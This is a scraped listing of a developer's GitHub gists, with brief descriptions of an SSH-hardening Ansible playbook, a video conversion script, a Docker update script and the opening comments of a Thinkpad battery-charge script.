Secure SSH configuration ansible playbook. Last updated years ago, NOT recommended for use. There are better ways to do this today.

cmavr8 / encoder-x265
Created December 8, 2016 13:09
Super quick & dirty script to convert all video files of specific extension into x265 mp4s. Sure, it can be made fancy, but there's not enough motivation for it.
#!/bin/bash

Pulls a Docker image and compares it to running ones. Stops/removes/restarts the ones that are outdated. Warning: This is obviously a few years old and has not been updated. Do not use unless you review and ensure it's still OK. BTW, there are better ways to do this today.

Thinkpad battery saver - Helps you prolong the service life of your Lenovo Thinkpad battery pack

# Thinkpad battery saver - Helps you prolong the service life of your Lenovo Thinkpad battery pack
# By Chris Mavrakis - cmavrakis.com
# v0.2 - 6-May-15
# Intro:
# Based on this: http://www.batteryuniversity.com/learn/article/how_to_prolong_lithium_based_batteries and motivated by this: https://news.ycombinator.com/item?id=9487903
# One can do a few things to prolong battery life. Two of them are:
# 1. Reduce full charge Voltage to 4.00V/cell. This will give shorter run times, but battery should last double the time before needing replacement (measured in years of use).
